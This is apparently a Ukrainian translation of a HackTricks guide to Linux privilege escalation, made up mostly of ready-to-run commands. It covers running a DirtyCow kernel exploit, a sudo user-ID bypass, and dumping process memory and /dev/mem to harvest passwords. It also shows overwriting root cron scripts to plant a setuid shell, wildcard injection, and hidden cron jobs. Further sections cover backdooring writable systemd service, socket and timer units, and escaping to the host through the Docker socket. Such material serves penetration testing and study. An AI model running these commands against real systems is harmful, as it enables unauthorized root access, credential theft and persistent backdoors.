Linux Privilege Escalation

Вивчайте та практикуйте хакінг AWS: Навчання HackTricks AWS Red Team Expert (ARTE) Вивчайте та практикуйте хакінг GCP: Навчання HackTricks GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Інформація про систему

Інформація про ОС

Давайте почнемо здобувати деякі знання про ОС, яка працює.

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Шлях

Якщо у вас є права на запис у будь-якій папці всередині змінної PATH, ви можете захопити деякі бібліотеки або виконуючі файли:

echo $PATH

Інформація про середовище

Цікава інформація, паролі або ключі API в змінних середовища?

(env || set) 2>/dev/null

Вразливості ядра

Перевірте версію ядра та наявність вразливостей, які можна використати для підвищення привілеїв

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Можна знайти хороший список вразливих ядер та деякі вже скомпільовані експлойти тут: https://github.com/lucyoa/kernel-exploits та exploitdb sploits. Інші сайти, де можна знайти деякі скомпільовані експлойти: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Для вилучення всіх вразливих версій ядра з цього веб-сайту можна виконати:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Інструменти, які можуть допомогти у пошуку експлойтів ядра:

linux-exploit-suggester.sh linux-exploit-suggester2.pl linuxprivchecker.py (виконується на жертві, перевіряє експлойти лише для ядра 2.x)

Завжди шукайте версію ядра в Google, можливо, ваша версія ядра написана в якомусь експлойті, тоді ви будете впевнені, що цей експлойт є дійсним.

CVE-2016-5195 (DirtyCow)

Підвищення привілеїв в Linux - Ядро Linux <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Версія Sudo

На основі вразливих версій sudo, які зустрічаються в:

searchsploit sudo

Ви можете перевірити, чи є версія sudo вразливою за допомогою цієї команди grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

Від @sickrov

sudo -u#-1 /bin/bash

Перевірка підпису Dmesg не вдалася

Перевірте smasher2 box of HTB для прикладу, як цю уразу можна використати

dmesg 2>/dev/null | grep "signature"

Додаткова системна енумерація

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Вибір можливих захистів

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Втеча з Docker

Якщо ви знаходитесь всередині контейнера Docker, ви можете спробувати втекти з нього:

Docker Security

Диски

Перевірте що змонтовано і незмонтовано, де і чому. Якщо щось незмонтовано, ви можете спробувати змонтувати його і перевірити приватну інформацію.

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Корисне програмне забезпечення

Перерахуйте корисні виконувані файли

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Також перевірте, чи встановлено будь-який компілятор. Це корисно, якщо вам потрібно використовувати який-небудь експлойт ядра, оскільки рекомендується компілювати його на машині, де ви збираєтеся використовувати його (або на подібній).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Вразливе програмне забезпечення, встановлене

Перевірте версію встановлених пакетів та служб. Можливо, є якась стара версія Nagios (наприклад), яку можна використати для підвищення привілеїв... Рекомендується перевірити вручну версію найбільш підозрілого встановленого програмного забезпечення.

dpkg -l #Debian
rpm -qa #Centos

Якщо у вас є доступ до машини через SSH, ви також можете використовувати openVAS для перевірки застарілих та вразливих програм, встановлених усередині машини.

Зверніть увагу, що ці команди покажуть багато інформації, яка в основному буде некорисною, тому рекомендується використовувати додатки, такі як OpenVAS або подібні, які перевірять, чи є яка-небудь встановлена версія програмного забезпечення вразливою до відомих експлойтів

Процеси

Подивіться, які процеси виконуються та перевірте, чи який-небудь процес має більше привілеїв, ніж повинен (можливо, tomcat виконується від імені root?)

ps aux
ps -ef
top -n 1

Завжди перевіряйте можливість запущених відладчиків electron/cef/chromium, ви можете використати це для підвищення привілеїв. Linpeas виявляє їх, перевіряючи параметр --inspect у командному рядку процесу. Також перевірте свої привілеї над бінарними файлами процесів, можливо, ви зможете перезаписати когось.

Моніторинг процесів

Ви можете використовувати інструменти, такі як pspy для моніторингу процесів. Це може бути дуже корисно для ідентифікації вразливих процесів, які виконуються часто або коли виконані певні вимоги.

Пам'ять процесів

Деякі служби сервера зберігають паролі у відкритому вигляді у пам'яті. Зазвичай вам знадобиться root-привілеї, щоб прочитати пам'ять процесів, які належать іншим користувачам, тому це зазвичай корисно, коли ви вже маєте root-права і хочете дізнатися більше паролів. Однак пам'ятайте, що як звичайний користувач ви можете читати пам'ять процесів, які вам належать.

Зауважте, що в наш час більшість машин не дозволяють ptrace за замовчуванням, що означає, що ви не можете витягти інші процеси, які належать вашому непривілейованому користувачеві.

Файл /proc/sys/kernel/yama/ptrace_scope контролює доступність ptrace:

  • kernel.yama.ptrace_scope = 0: всі процеси можуть бути налагоджені, якщо вони мають той самий uid. Це класичний спосіб роботи ptrace.

  • kernel.yama.ptrace_scope = 1: можна налагоджувати лише батьківський процес.

  • kernel.yama.ptrace_scope = 2: Тільки адміністратор може використовувати ptrace, оскільки це потребує CAP_SYS_PTRACE.

  • kernel.yama.ptrace_scope = 3: Ніякі процеси не можуть бути відстежені за допомогою ptrace. Після встановлення потрібно перезавантаження для повторного ввімкнення відстеження.

GDB

Якщо у вас є доступ до пам'яті служби FTP (наприклад), ви можете отримати Heap та шукати в ньому паролі.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

Сценарій GDB

dump-memory.sh
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Для заданого ідентифікатора процесу maps показують, як пам'ять відображена в межах віртуального адресного простору цього процесу; вони також показують права доступу до кожного відображеного регіону. Псевдофайл mem викриває саму пам'ять процесів. З файлу maps ми знаємо, які області пам'яті доступні для читання та їх зміщення. Ми використовуємо цю інформацію, щоб перейти до файлу mem та вивантажити всі доступні для читання області у файл.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem надає доступ до фізичної пам'яті системи, а не віртуальної пам'яті. Віртуальний простір адрес ядра можна отримати, використовуючи /dev/kmem. Зазвичай, /dev/mem може бути прочитаний тільки користувачем root та групою kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump для Linux

ProcDump - це переосмислення класичного інструменту ProcDump з набору інструментів Sysinternals для Windows. Отримайте його за посиланням https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Інструменти

Для виведення пам'яті процесу ви можете використовувати:

Облікові дані з пам'яті процесу

Приклад вручну

Якщо ви виявите, що процес аутентифікатора працює:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Ви можете витягти процес (див. попередні розділи, щоб знайти різні способи вилучення пам'яті процесу) та шукати облікові дані всередині пам'яті:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Інструмент https://github.com/huntergregal/mimipenguin буде викрадати облікові дані у вигляді чіткого тексту з пам'яті та з деяких відомих файлів. Для правильної роботи він потребує привілеїв root.

ОсобливістьНазва процесу

Пароль GDM (Kali Desktop, Debian Desktop)

gdm-password

Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)

gnome-keyring-daemon

LightDM (Ubuntu Desktop)

lightdm

VSFTPd (Активні FTP-з'єднання)

vsftpd

Apache2 (Активні HTTP Basic Auth сесії)

apache2

OpenSSH (Активні SSH-сесії - Використання Sudo)

sshd:

Пошук Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Заплановані/Cron завдання

Перевірте, чи є які-небудь заплановані завдання вразливими. Можливо, ви зможете скористатися скриптом, який виконується від імені root (вразливість у шаблонах? можна змінювати файли, які використовує root? використовувати символьні посилання? створювати конкретні файли в каталозі, який використовує root?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Шлях Cron

Наприклад, всередині /etc/crontab ви можете знайти ШЛЯХ: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Зверніть увагу, що користувач "user" має права на запис у /home/user)

Якщо всередині цього crontab користувач root намагається виконати якусь команду або скрипт без встановлення шляху. Наприклад: * * * * root overwrite.sh Тоді ви можете отримати оболонку root, використовуючи:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron використання скрипта з метасимволом (Внедрення метасимволів)

Якщо скрипт виконується користувачем root і містить "*" всередині команди, ви можете скористатися цим для виконання неочікуваних дій (наприклад, підвищення привілеїв). Приклад:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Якщо метасимвол передує шляху, наприклад /some/path/*, то вразливість відсутня (навіть ./* не є вразливим).

Для отримання додаткових прийомів експлуатації метасимволів перегляньте наступну сторінку:

Wildcards Spare tricks

Перезапис сценарію Cron та символічне посилання

Якщо можна змінити сценарій Cron, який виконується від імені root, можна дуже легко отримати оболонку:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Якщо сценарій, виконаний користувачем root, використовує каталог, до якого у вас є повний доступ, можливо, буде корисно видалити цей каталог і створити символічний посилання на інший каталог, в якому знаходиться сценарій, котрим ви керуєте

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Часті cron-завдання

Ви можете моніторити процеси, щоб шукати процеси, які виконуються кожну 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і підвищити привілеї.

Наприклад, для моніторингу кожні 0,1 секунди протягом 1 хвилини, сортування за менш виконуваними командами та видалення команд, які були виконані найбільше, ви можете виконати:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Ви також можете використовувати pspy (це буде відстежувати та перераховувати кожен процес, який починається).

Невидимі cron-завдання

Можливо створити cron-завдання, додавши символ повернення каретки після коментаря (без символу нового рядка), і це cron-завдання буде працювати. Приклад (зверніть увагу на символ повернення каретки):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Сервіси

Файли .service, до яких можна записувати

Перевірте, чи можете ви записувати будь-який файл .service, якщо можете, ви можете змінити його, щоб він виконував вашу задню дверку при запуску, перезапуску або зупинці сервісу (можливо, вам доведеться зачекати, поки машина перезавантажиться). Наприклад, створіть свою задню дверку всередині файлу .service з ExecStart=/tmp/script.sh

Виконувані сервісні бінарні файли

Пам'ятайте, що якщо у вас є права на запис для бінарних файлів, які виконуються сервісами, ви можете змінити їх на задні дверки, тому коли сервіси будуть перевиконані, задні дверки будуть виконані.

systemd PATH - Відносні шляхи

Ви можете побачити шлях, який використовує systemd, за допомогою:

systemctl show-environment

Якщо ви виявите, що можете записувати в будь-якій з папок шляху, ви, можливо, зможете підвищити привілеї. Вам потрібно шукати файли конфігурації служб, де використовуються відносні шляхи.

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Потім створіть виконуваний файл з такою ж назвою, як і відносний шлях бінарного файлу всередині папки шляху systemd, де ви можете писати, і коли запитують сервіс виконати уразливу дію (Start, Stop, Reload), ваш задній прохід буде виконаний (непривілейовані користувачі зазвичай не можуть запускати/зупиняти сервіси, але перевірте, чи можете використовувати sudo -l).

Дізнайтеся більше про сервіси за допомогою man systemd.service.

Таймери

Таймери - це файлы одиниць systemd, ім'я яких закінчується на **.timer**, які керують файлами або подіями **.service**. Таймери можуть бути використані як альтернатива cron, оскільки вони мають вбудовану підтримку подій календарного часу та монотонних подій та можуть бути запущені асинхронно.

Ви можете перелічити всі таймери за допомогою:

systemctl list-timers --all

Записувані таймери

Якщо ви можете змінити таймер, ви можете зробити його виконати деякі існуючі одиниці systemd (наприклад, .service або .target)

Unit=backdoor.service

У документації ви можете прочитати, що таке Unit:

Unit, який активується, коли таймер завершується. Аргумент - це ім'я unit, суфікс якого не є ".timer". Якщо не вказано, це значення за замовчуванням встановлюється на службу, яка має те саме ім'я, що й unit таймера, за винятком суфікса. (Див. вище.) Рекомендується, щоб ім'я unit, який активується, та ім'я unit таймера були ідентичними, за винятком суфікса.

Отже, для зловживання цим дозволом вам потрібно:

  • Знайти деякий systemd unit (наприклад, .service), який виконує записний бінарний файл

  • Знайти деякий systemd unit, який виконується за допомогою відносного шляху, і у вас є права на запис до шляху systemd (щоб видаляти цей виконавчий файл)

Дізнайтеся більше про таймери за допомогою man systemd.timer.

Увімкнення таймера

Для увімкнення таймера вам потрібні права root і виконати:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer  /lib/systemd/system/backu2.timer.

Зауважте, що таймер активується, створивши символічне посилання на нього у /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Сокети

Сокети Unix Domain (UDS) дозволяють комунікацію процесів на одній або різних машинах у моделях клієнт-сервер. Вони використовують стандартні файлові дескриптори Unix для міжкомп'ютерної комунікації і налаштовуються через файли .socket.

Сокети можна налаштувати за допомогою файлів .socket.

Дізнайтеся більше про сокети за допомогою man systemd.socket. У цьому файлі можна налаштувати кілька цікавих параметрів:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Ці параметри різняться, але узагальнення використовується для вказівки, де буде прослуховуватися сокет (шлях до файлу сокета AF_UNIX, IPv4/6 та/або номер порту для прослуховування і т. д.)

  • Accept: Приймає булеве значення. Якщо true, для кожного вхідного підключення створюється екземпляр служби, і лише сокет підключення передається йому. Якщо false, всі прослуховуючі сокети самі передаються запущеній службі, і лише один екземпляр служби створюється для всіх підключень. Це значення ігнорується для датаграмних сокетів та FIFO, де один службовий блок однозначно обробляє весь вхідний трафік. За замовчуванням false. З міркувань продуктивності рекомендується писати нові демони тільки так, щоб вони підходили для Accept=no.

  • ExecStartPre, ExecStartPost: Приймає один або кілька рядків команд, які виконуються перед тим, як прослуховуючі сокети/FIFO створюються та зв'язуються відповідно. Перший токен рядка команди повинен бути абсолютним іменем файлу, за яким слідують аргументи для процесу.

  • ExecStopPre, ExecStopPost: Додаткові команди, які виконуються перед тим, як прослуховуючі сокети/FIFO закриваються та видаляються відповідно.

  • Service: Вказує ім'я служби, яку активувати при вхідному трафіку. Це налаштування дозволено лише для сокетів з Accept=no. За замовчуванням воно встановлюється на службу, яка має те саме ім'я, що й сокет (замінено суфіксом). У більшості випадків не повинно бути необхідності використовувати цей параметр.

Записувані файли .socket

Якщо ви знайдете записуваний файл .socket, ви можете додати на початку розділу [Socket] щось на зразок: ExecStartPre=/home/kali/sys/backdoor, і backdoor буде виконано перед створенням сокета. Тому, ймовірно, вам доведеться зачекати, поки машина перезавантажиться. Зауважте, що система повинна використовувати цю конфігурацію файлу сокета, інакше backdoor не буде виконано

Записувані сокети

Якщо ви визначите будь-який записуваний сокет (зараз ми говоримо про Unix сокети, а не про файли конфігурації .socket), то ви можете спілкуватися з цим сокетом і, можливо, використовувати уразливість.

Перелік Unix сокетів

netstat -a -p --unix

Сировинне з'єднання

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Приклад експлуатації:

Socket Command Injection

HTTP сокети

Зверніть увагу, що можуть існувати деякі сокети, які слухають HTTP запити (Я не говорю про файли .socket, а про файли, які діють як unix сокети). Ви можете перевірити це за допомогою:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Якщо сокет відповідає на запит HTTP, то ви можете взаємодіяти з ним і, можливо, експлуатувати деякі вразливості.

Записний Docker Socket

Сокет Docker, який часто знаходиться за шляхом /var/run/docker.sock, є критичним файлом, який повинен бути захищений. За замовчуванням він доступний для запису користувачем root та членами групи docker. Володіння правами на запис до цього сокету може призвести до підвищення привілеїв. Ось розбір того, як це можна зробити, та альтернативні методи, якщо CLI Docker недоступний.

Підвищення привілеїв за допомогою Docker CLI

Якщо у вас є права на запис до сокету Docker, ви можете підвищити привілеї за допомогою наступних команд:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Використання Docker API безпосередньо

У випадках, коли Docker CLI недоступний, сокет Docker все ще можна маніпулювати за допомогою Docker API та команд curl.

  1. Перелік образів Docker: Отримати список доступних образів.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Створення контейнера: Надіслати запит на створення контейнера, який монтує кореневий каталог системи хоста.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Запустіть новостворений контейнер:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Приєднання до контейнера: Використовуйте socat, щоб встановити з'єднання з контейнером, що дозволяє виконувати команди всередині нього.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Після налаштування з'єднання socat ви можете виконувати команди безпосередньо в контейнері з рівнем доступу root до файлової системи хоста.

Інші

Зверніть увагу, що якщо у вас є права на запис до сокету Docker через належність до групи docker, у вас є більше способів підвищення привілеїв. Якщо API Docker прослуховує порт ви також можете скомпрометувати його.

Перевірте інші способи виходу з Docker або зловживання ним для підвищення привілеїв в:

Docker Security

Підвищення привілеїв Containerd (ctr)

Якщо ви виявите, що можете використовувати команду ctr, прочитайте наступну сторінку, оскільки ви можете зловживати нею для підвищення привілеїв:

Containerd (ctr) Privilege Escalation

Підвищення привілеїв RunC

Якщо ви виявите, що можете використовувати команду runc, прочитайте наступну сторінку, оскільки ви можете зловживати нею для підвищення привілеїв:

RunC Privilege Escalation

D-Bus

D-Bus - це складна система міжпроцесного зв'язку (IPC), яка дозволяє програмам ефективно взаємодіяти та обмінюватися даними. Розроблена з урахуванням сучасної системи Linux, вона пропонує надійний фреймворк для різних форм взаємодії програм.

Система є універсальною, підтримуючи базовий IPC, який полегшує обмін даними між процесами, нагадуючи про покращені UNIX-сокети. Крім того, вона допомагає в трансляції подій або сигналів, сприяючи безшовній інтеграції між компонентами системи. Наприклад, сигнал від демона Bluetooth про вхідний дзвінок може викликати приглушення музичного програвача, покращуючи взаємодію з користувачем. Крім того, D-Bus підтримує віддалену систему об'єктів, спрощуючи запити служб та виклики методів між додатками, спрощуючи процеси, які традиційно були складними.

D-Bus працює за моделлю дозволити/заборонити, керуючи дозволами повідомлень (виклики методів, емісії сигналів і т. д.) на основі кумулятивного ефекту відповідності політичним правилам. Ці політики вказують взаємодії з автобусом, що потенційно дозволяє підвищення привілеїв через експлуатацію цих дозволів.

Наведено приклад такої політики в /etc/dbus-1/system.d/wpa_supplicant.conf, де детально описані дозволи для користувача root на володіння, відправлення та отримання повідомлень від fi.w1.wpa_supplicant1.

Політики без вказаного користувача або групи застосовуються універсально, тоді як політики контексту "default" застосовуються до всіх, кого не охоплюють інші конкретні політики.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Дізнайтеся, як перелічити та використовувати комунікацію D-Bus тут:

D-Bus Enumeration & Command Injection Privilege Escalation

Мережа

Завжди цікаво перелічити мережу та визначити положення машини.

Загальне перелічення

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Відкриті порти

Завжди перевіряйте мережеві служби, які працюють на машині, з якою ви не могли взаємодіяти до доступу до неї:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Прослуховування

Перевірте, чи можете ви перехоплювати трафік. Якщо можете, ви можете отримати деякі облікові дані.